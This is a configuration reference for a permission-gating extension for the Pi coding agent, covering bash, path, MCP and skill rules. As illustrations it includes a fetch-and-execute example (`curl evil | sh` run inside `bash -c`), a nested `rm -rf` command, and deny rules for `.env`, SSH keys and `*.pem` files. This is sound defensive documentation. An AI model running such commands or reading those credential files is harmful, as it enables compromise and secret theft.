# Configuration Reference ## Config File Locations One unified config file per scope: | Scope | Path | | ------- | ------------------------------------------------------------------------------------------ | | Global | `~/.pi/agent/extensions/pi-permission-system/config.json` (respects `PI_CODING_AGENT_DIR`) | | Project | `/.pi/extensions/pi-permission-system/config.json` | Project config overrides global config; per-agent frontmatter overrides both. > **Coming from OpenCode?** > This extension's permission model was inspired by OpenCode's. > See [OpenCode Compatibility](opencode-compatibility.md) for shared concepts, divergences, and a porting guide. > **Tip:** All `~/.pi/agent` paths shown in this document are defaults. > If the `PI_CODING_AGENT_DIR` environment variable is set, Pi uses that directory instead. ## Merge Precedence **Precedence order (later wins):** 1. Global config file 2. Project config file 3. Global agent frontmatter 4. Project agent frontmatter The `permission` object uses deep-shallow merge: string-vs-string replaces; both-object shallow-merges pattern maps; string-vs-object the override wins entirely. Scalar fields (`debugLog`, `permissionReviewLog`, `yoloMode`) use simple replacement. ## Full Example ```jsonc { "$schema": "https://raw.githubusercontent.com/gotgenes/pi-permission-system/main/schemas/permissions.schema.json", // Runtime knobs "debugLog": false, "permissionReviewLog": true, "yoloMode": false, "toolInputPreviewMaxLength": 400, "toolTextSummaryMaxLength": 120, "piInfrastructureReadPaths": [], // Flat permission policy "permission": { "*": "ask", // universal fallback "path": { "*": "allow", "*.env": "deny", "*.env.*": "deny", "*.env.example": "allow" }, "read": "allow", "write": "deny", "edit": "deny", "bash": { "git *": "ask", "git status": "allow", "npm *": { "action": "deny", "reason": "Use pnpm instead" } }, "mcp": { "mcp_status": "allow" }, "skill": { "*": "ask" }, "external_directory": "ask" } } ``` > **Note:** Trailing commas are **not** supported. > If parsing fails, the extension falls back to `ask` for all categories. ## Runtime Knobs | Key | Default | Description | | --------------------------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | `debugLog` | `false` | Enables verbose diagnostic logging to `logs/pi-permission-system-debug.jsonl` | | `permissionReviewLog` | `true` | Enables the permission request/denial review log at `logs/pi-permission-system-permission-review.jsonl` | | `yoloMode` | `false` | Auto-approves `ask` results instead of prompting when yolo mode is enabled | | `toolInputPreviewMaxLength` | `200` | Max characters of inline JSON shown in permission prompts for tool inputs. Omit to use the default. Set to a large value to disable truncation. | | `toolTextSummaryMaxLength` | `80` | Max characters of inline pattern/path summaries (grep patterns, find globs, ls paths) in permission prompts. Omit to use the default. | | `piInfrastructureReadPaths` | `[]` | Extra directories to auto-allow for reads, bypassing the `external_directory` gate. Supports `~`/`$HOME` expansion and wildcard patterns (`*`, `?`). | Both logs write to `~/.pi/agent/extensions/pi-permission-system/logs/`. No debug output is printed to the terminal. ### `piInfrastructureReadPaths` patterns Each entry is either a plain directory prefix or a wildcard pattern. Plain entries match any path that starts with the given directory (after `~`/`$HOME` expansion). Wildcard entries use `*` (any characters, including `/`) and `?` (exactly one character). `*` and `**` are equivalent — both cross directory boundaries. Example — allow reads from a Homebrew-managed Pi install at any version: ```jsonc { "piInfrastructureReadPaths": [ "/opt/homebrew/**/@earendil-works/pi-coding-agent/**" ] } ``` --- ## Policy Reference ### `permission["*"]` — Universal Fallback The `"*"` key sets the action used when no surface-specific rule matches: ```jsonc { "permission": { "*": "ask" } } ``` Omitting `"*"` defaults to `"ask"` (least privilege). ### Tool Surfaces Any registered tool name can be a surface key. A string value is a catch-all for that surface. | Surface example | Description | | --------------------------------------------- | ----------------------------------- | | `read`, `write`, `edit`, `grep`, `find`, `ls` | Canonical Pi built-in file tools | | `bash` | Shell command execution | | `mcp` | Registered MCP proxy tool | | `task` | Delegation tool | | `third_party_tool` | Any other registered extension tool | ```jsonc { "permission": { "read": "allow", "write": "deny", "third_party_tool": "ask" } } ``` Unknown or absent tools are not required in the config. If a tool is not registered at runtime, this extension blocks it before permission checks run. #### Path Patterns for File Tools For path-bearing tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), an object value maps file-path patterns to actions. Patterns are matched against `input.path` using the same last-match-wins wildcard semantics as bash command patterns. When Pi's current working directory is known, a relative path input is matched with both its original relative form and its cwd-normalized absolute form, so an absolute allowlist rule and a legacy relative rule can both apply to the same file. Per-tool path patterns also match the canonical (symlink-resolved) form, at parity with the `path` surface, so a per-tool deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below). `*` matches zero or more of any character **including** path separators — `src/*` matches both `src/foo.ts` and `src/deep/nested/foo.ts`. There is no single-segment vs. multi-segment distinction; `**` is not a supported token and behaves identically to `*`. ```jsonc { "permission": { "read": { "*": "allow", "*.env": "deny", "*.env.*": "deny", "*.env.example": "allow" }, "write": { "*": "deny", "src/*": "allow", "tests/*": "allow" }, "edit": { "*": "ask", "*.lock": "deny" } } } ``` String shorthand is still supported and behaves identically — `"read": "allow"` is equivalent to `"read": { "*": "allow" }`, which permits reads of any path. Tool injection at agent start is unaffected: a config like `"read": { "*": "allow", "*.env": "deny" }` still exposes the `read` tool to the agent. Only specific paths are restricted at call time. ### `bash` Surface Command patterns use wildcards matched against each top-level command in the chain: - `*` matches zero or more of any character (including `/` and other separators — there is no single-segment vs. multi-segment distinction; `**` is not a supported token and is equivalent to `*`). - `?` matches exactly one character. **Last matching rule wins** within a single command — put broad catch-alls first, specific overrides after. A bash invocation may be a chain of commands joined by `&&`, `||`, `;`, `|`, `&`, or newlines. Each top-level command is evaluated independently against the patterns, and the most restrictive result wins (`deny` > `ask` > `allow`). So `cd /repo && npm install x` evaluates both `cd /repo` and `npm install x`; if `npm *` is denied, the whole invocation is denied even when `cd *` is allowed. Quotes are respected (an operator inside `'…'` or `"…"` does not split the command). Commands nested inside command substitution (`$(…)`, backticks), process substitution (`<(…)`/`>(…)`), and subshells (`( … )`) are evaluated against the bash patterns too, in addition to their enclosing command — since those inner commands really execute. So `echo $(rm -rf foo)` evaluates both `echo $(rm -rf foo)` and the inner `rm -rf foo`; if `rm *` is denied, the whole invocation is denied. The deny reason and the approval prompt note the nested origin (e.g. `inside command substitution`). Control-flow bodies (`if`/`while`/`for`/`case`) and `{ … }` brace groups are not descended into; their contents are matched as part of the enclosing statement's text. A leading environment-variable assignment prefix is stripped before matching, so the rule gates the underlying command rather than the prefix. So `AWS_PROFILE=prod aws ec2 …` is matched as `aws ec2 …` — a `aws *` rule applies even though the invocation begins with `AWS_PROFILE=`. Prefixes like `PGPASSWORD=` and `KUBECONFIG=` are handled the same way. A pattern ending with `*` (space + wildcard) also matches the bare command without arguments. For example, `"git *"` matches both `"git status"` and bare `"git"`. Place a more specific pattern *after* it to carve out exceptions — the later matching rule wins. > **Patterns match individual commands, not whole chains.** > A pattern that embeds a chain operator (e.g. `"cd * && npm *"`) will not match, because each command in the chain is evaluated separately. > Write one pattern per command instead. ```jsonc { "permission": { "bash": { "*": "ask", "git *": "ask", "git status": "allow", "git diff": "allow", "rm -rf *": "deny", "npm *": { "action": "deny", "reason": "Use pnpm instead" } } } } ``` String shorthand sets a catch-all for all bash commands: ```jsonc { "permission": { "bash": "allow" } } ``` #### Deny with a Custom Reason In any pattern map, a `deny` value may be written as an object with an optional `reason` instead of the plain `"deny"` string: ```jsonc { "permission": { "bash": { "npm *": { "action": "deny", "reason": "Use pnpm instead" } } } } ``` The reason is appended to the block message shown to the agent, so it learns why the command was denied and what to do instead: ```text [pi-permission-system] is not permitted to run 'bash' command 'npm install' (matched 'npm *'). Reason: Use pnpm instead. ``` The object form is only valid at the pattern-value level (inside a pattern map) and only for `deny` — `action` must be `"deny"`, and `reason` must be a string (a non-string reason is ignored). A bare `"deny"` string is unchanged and carries no reason. #### Fail-closed behavior The bash gate fails closed: when in doubt it blocks or prompts, never silently allows. - If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure. - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `` pattern in the review log) instead of falling through to a permissive top-level `*`. An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally. - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `` pattern in the review log). An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies. So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`. Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`. A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case. To gate bash commands, add `"bash": { "*": "ask" }` (or `"deny"`). To deliberately opt into permissive bash, set `"bash": { "*": "allow" }` explicitly — that suppresses the warning. ### `mcp` Surface MCP permissions match against derived targets from tool input: | Target type | Examples | | ----------------- | --------------------------------------------------------------------- | | Baseline ops | `mcp_status`, `mcp_list`, `mcp_search`, `mcp_describe`, `mcp_connect` | | Server name | `myServer` | | Server/tool combo | `myServer:search`, `myServer_search` | | Generic | `mcp_call` | ```jsonc { "permission": { "mcp": { "*": "ask", "mcp_status": "allow", "mcp_list": "allow", "myServer:*": "ask", "dangerousServer": "deny" } } } ``` > **Note:** Baseline discovery targets auto-allow when any explicit `mcp: allow` rule exists. String shorthand grants broad MCP access — useful for per-agent overrides: ```yaml # ~/.pi/agent/agents/researcher.md (respects PI_CODING_AGENT_DIR) --- name: researcher permission: mcp: allow --- ``` ### `skill` Surface Skill name patterns use `*` and `?` wildcards (note: surface is `skill`, not `skills`): ```jsonc { "permission": { "skill": { "*": "ask", "dangerous-*": "deny", "librarian": "allow" } } } ``` ### `path` Surface Cross-cutting gate that applies to **all** file access — built-in Pi tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), bash commands, MCP calls (via `input.arguments.path`), and extension tools (via `input.path` or a registered access extractor). A `path` deny cannot be overridden by a per-tool allow. Extension and MCP path tools are gated by default — no registration needed — so a `path` deny protects sensitive files from every path-aware tool, not just the built-in six. ```jsonc { "permission": { "path": { "*": "allow", "*.env": "deny", "*.env.*": "deny", "*.env.example": "allow", "~/.ssh/*": "deny" } } } ``` The path gate runs before the external-directory and tool gates. If it denies, the command is blocked without reaching subsequent gates — no wasted prompts. Path patterns match both the path **as the agent references it** and its canonical (symlink-resolved) form, so a deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below). For bash commands, the extension extracts path-candidate tokens from the command (dot-files like `.env`, relative paths like `src/foo.ts`, and absolute paths) and evaluates each against the path rules. The most restrictive result across all tokens determines the outcome. When the current working directory is known, relative bash tokens are matched with cwd-normalized policy values, resolved against the effective directory after literal `cd` commands; a token after a non-literal `cd` (e.g. `cd "$DIR"`) stays conservative and matches only its literal form. A bare filename with no path shape at all (e.g. `id_rsa` in `cat id_rsa`) is also gated when it matches an active, specific (non-`*`) `path` deny/ask rule — so `"id_rsa": "deny"` or `"*.pem": "deny"` blocks the file whether it is referenced by a bare name, a relative path, or the `read` tool. A bare token that matches no specific `path` rule (e.g. `status` in `git status`) is left alone, and this promotion never fires against a `"*"` catch-all — only a config that already declares a specific `path` rule is affected. Four orthogonal layers compose with most-restrictive-wins: | Layer | Question | Applies to | | ----------------------- | --------------------------------------- | ---------------- | | `path` | Is this specific path pattern allowed? | All tools + bash | | `external_directory` | Is accessing outside CWD ok? | All tools + bash | | Per-tool patterns | Is this path ok for this specific tool? | Individual tools | | `bash` command patterns | Is this command ok? | Bash only | **Which surface for "allow this directory"?** Use `path` to **deny** sensitive files everywhere (`.env`, `~/.ssh/*`); use `external_directory` to **allow** a directory outside the working tree (a cache, a sibling project). Because the layers compose with most-restrictive-wins, a `path` allow cannot loosen an `external_directory: ask` boundary — `ask` is more restrictive than `allow`, so the prompt still fires. Adding `"~/.cargo/registry": "allow"` to the `path` surface therefore does **not** stop the outside-CWD prompt; put the rule on `external_directory` instead (see below). Configs without a `path` key behave identically to before — the gate does not fire. When no `path` key is present, the universal fallback (`permission["*"]`) applies: `"*": "allow"` keeps the gate transparent, while `"*": "deny"` would deny all file access via every surface including `path`. > **Ordering matters.** > Rules use last-match-wins. > `{ "*.env": "deny", "*": "allow" }` allows `.env` because `"*"` is last and matches everything. > Put the catch-all first: `{ "*": "allow", "*.env": "deny" }`. #### `.env` recipe Deny all env files but allow the example template: ```jsonc { "permission": { "path": { "*": "allow", "*.env": "deny", "*.env.*": "deny", "*.env.example": "allow" } } } ``` This denies `.env`, `.env.local`, `.env.production`, and `src/.env`, but allows `.env.example`. Bash commands like `cat .env`, `cp .env .env.backup`, and `echo secret > .env` (redirect targets) are all caught. #### Composition with per-tool rules A per-tool allow does not override a `path` deny — the path gate runs first. Conversely, a per-tool deny still blocks even when the `path` surface allows: ```jsonc { "permission": { "path": { "*": "allow" }, "read": "deny" } } ``` Here `read` calls pass the `path` gate but are blocked by the `read` tool gate. ### `external_directory` Surface Controls access to paths outside the active working directory. Use a pattern map to allow specific directories without opening all external access: ```jsonc { "permission": { "external_directory": { "*": "ask", "~/development/*": "allow" } } } ``` `external_directory` is evaluated before the normal tool permission check. For example, `read: "allow"` can permit ordinary reads while `external_directory: "ask"` still requires confirmation before reading `../outside.txt` or an absolute path outside `ctx.cwd`. Optional-path search tools (`find`, `grep`, `ls`) skip this check when no `path` is provided. #### Allow an outside-CWD cache directory When an agent keeps reading a local cache outside the working tree — `~/.cargo/registry`, `~/.npm`, `~/go/pkg/mod` — and you want to stop confirming it every time, allow that directory on the `external_directory` surface: ```jsonc { "permission": { "external_directory": { "*": "ask", "~/.cargo/registry/*": "allow" } } } ``` The trailing `*` is required and it crosses subdirectory boundaries: `*` is a greedy match (not a single path segment), so `~/.cargo/registry/*` allows every file beneath the directory, however deep. Do not write `~/.cargo/registry/**` — `**` is not a distinct globstar, and a single `*` already recurses. A bare `~/.cargo/registry` (no `*`) matches only the directory entry itself, not the files inside it, which is the usual reason a hand-written allow rule appears to do nothing. The pattern is stored and displayed as written (`~/.cargo/registry/*`) in logs and approval dialogs. For caches you only ever **read**, `piInfrastructureReadPaths` is a lighter alternative — it auto-allows read-only tools (`read`, `find`, `grep`, `ls`) and bypasses the gate entirely, but it does not cover `write`/`edit` or bash. Use `external_directory` when the allowance must apply to every tool. Bash commands are also covered: the extension extracts path-like tokens from the command string and applies the same gate when any resolve outside `ctx.cwd`. Quoted strings are stripped first to reduce false positives. This is a best-effort heuristic — variable expansion and escaped quotes are not parsed, and relative paths inside subshells are not yet resolved against a per-subshell working directory. (The separate `bash` command-pattern surface does evaluate commands nested inside substitutions and subshells; see that section.) OS device paths (`/dev/null`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) are always excluded. #### Symlinked paths A `path`, `external_directory`, or per-tool file-pattern rule (`read`/`write`/`edit`/`grep`/`find`/`ls`) matches the path **as the agent references it** and the OS-resolved (symlink-followed) path. This matters on macOS, where `/tmp` is a symlink to `/private/tmp`: a rule keyed on `/tmp/*` allows access via `/tmp` even though the access resolves to `/private/tmp`, and a rule keyed on `/private/tmp/*` works too. ```jsonc { "permission": { "external_directory": { "*": "ask", "/tmp/*": "allow" } } } ``` The same dual-form matching protects the `path` surface and the per-tool file patterns: a `path` (or `read`/`write`/`edit`/`grep`/`find`/`ls`) deny on `~/.ssh/*` or `*.env` also catches a symlink whose resolved target matches the pattern, so a sensitive file cannot be reached through an aliasing symlink. For `external_directory`, the decision of whether a path is outside the working directory always uses the resolved form, so the gate still fires for every outside-CWD access; only which allow/deny/ask pattern matches considers both forms. #### Pi Infrastructure Read Auto-Allow Read-only tools (`read`, `find`, `grep`, `ls`) targeting Pi infrastructure directories are automatically allowed without triggering the gate, even when `external_directory` is `ask` or `deny`. Infrastructure directories include: 1. The agent config directory (`~/.pi/agent/` or `$PI_CODING_AGENT_DIR`) 2. Git-cloned global packages (`/git/`) 3. The global `node_modules` root (auto-discovered from the extension's own install path; falls back to `npm root -g` when running from a local development checkout) 4. Pi's own install directory (auto-discovered via the coding-agent `getPackageDir()` API, so Pi's bundled docs and examples are readable regardless of install layout) 5. Project-local Pi packages (`/.pi/npm/` and `/.pi/git/`) 6. Any paths listed in `piInfrastructureReadPaths` Write tools (`write`, `edit`) to infrastructure paths are **not** auto-allowed and still go through the gate. On Windows, path matching for `external_directory`, `path`, and the path-bearing tools is case-insensitive and tolerant of either separator (`\` or `/`), matching the case-insensitive filesystem. A mixed-case allow override such as `~/AppData/Roaming/npm/node_modules/@earendil-works/pi-coding-agent/*` therefore matches a lowercased, backslash-normalized path value. POSIX matching remains case-sensitive. ### Home Directory Expansion in Patterns Pattern keys in any permission surface can start with `~/` or `$HOME/` (or be exactly `~` / `$HOME`). They are expanded to the OS home directory at match time, so configs are portable across machines and users. ```jsonc { "permission": { "external_directory": { "*": "ask", "~/development/*": "allow" } } } ``` The pattern is stored and displayed as written (e.g. `~/development/*`) in logs and approval dialogs. Path **values** supplied by tool calls and bash commands are expanded the same way. This means `~/...`, `$HOME/...`, and the fully-expanded absolute form all match a single home-anchored pattern: a `read` tool called with path `~/.ssh/config`, `$HOME/.ssh/config`, or `/Users/me/.ssh/config` is all caught by a `"~/.ssh/*": "deny"` rule. --- ## Per-Agent Overrides Override global permissions for specific agents via YAML frontmatter in Pi agent definition files. ### Global Agent Override Path: `~/.pi/agent/agents/.md` (respects `PI_CODING_AGENT_DIR`) ```yaml --- name: my-agent permission: read: allow write: deny mcp: allow bash: git *: ask git status: allow mcp: chrome_devtools_*: deny exa_*: allow skill: "*": ask --- ``` ### Project Agent Override Path: `/.pi/agents/.md` Project agent files are resolved from Pi's current session `cwd`, so they are workspace-specific and do **not** move under `PI_CODING_AGENT_DIR`. ### Frontmatter Limitations The frontmatter parser is intentionally minimal. Use only `key: value` scalars and nested maps. Avoid arrays, multi-line scalars, and YAML anchors. --- ## Common Recipes ### Protect Sensitive Files ```jsonc { "permission": { "*": "ask", "read": { "*": "allow", "*.env": "deny", "*.env.*": "deny", "*.env.example": "allow" }, "write": { "*": "ask", "*.lock": "deny" } } } ``` ### Read-Only Mode ```jsonc { "permission": { "*": "ask", "read": "allow", "grep": "allow", "find": "allow", "ls": "allow", "write": "deny", "edit": "deny" } } ``` ### Restricted Bash Surface ```jsonc { "permission": { "*": "ask", "bash": { "*": "deny", "git status": "allow", "git diff": "allow", "git log *": "allow" } } } ``` ### MCP Discovery Only ```jsonc { "permission": { "*": "ask", "mcp": { "*": "ask", "mcp_status": "allow", "mcp_list": "allow", "mcp_search": "allow", "mcp_describe": "allow" } } } ``` ### Per-Agent Lockdown In the global Pi agents directory (default: `~/.pi/agent/agents/reviewer.md`, respects `PI_CODING_AGENT_DIR`): ```yaml --- permission: write: deny edit: deny bash: deny --- ``` --- ## Pi Integration Hooks The extension integrates via Pi's lifecycle hooks: | Hook | Behavior | | -------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | | `before_agent_start` | Filters the active tool set (restrict-only), narrows the `Available tools:` system-prompt listing to match, and hides denied skills | | `tool_call` | Enforces permissions for every tool invocation | | `input` | Intercepts `/skill:` requests and enforces skill policy | Additional behaviors: - Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts) - Tool filtering is restrict-only: the active set starts from pi's already-active tools (`pi.getActiveTools()`) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g. `find`, `grep`, `ls`) - The `Available tools:` system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed - The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn - Extension-provided tools like `task`, `mcp`, and third-party tools are handled by exact registered name - Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries - Permission review logs include bounded `toolInputPreview` values for non-bash/non-MCP tool calls --- ## Schema Validation Validate your config against the included schema: ```bash npx --yes ajv-cli@5 validate \ -s ./schemas/permissions.schema.json \ -d ./config.json ``` **Editor tip:** Add `"$schema": "./schemas/permissions.schema.json"` to your config for autocomplete support.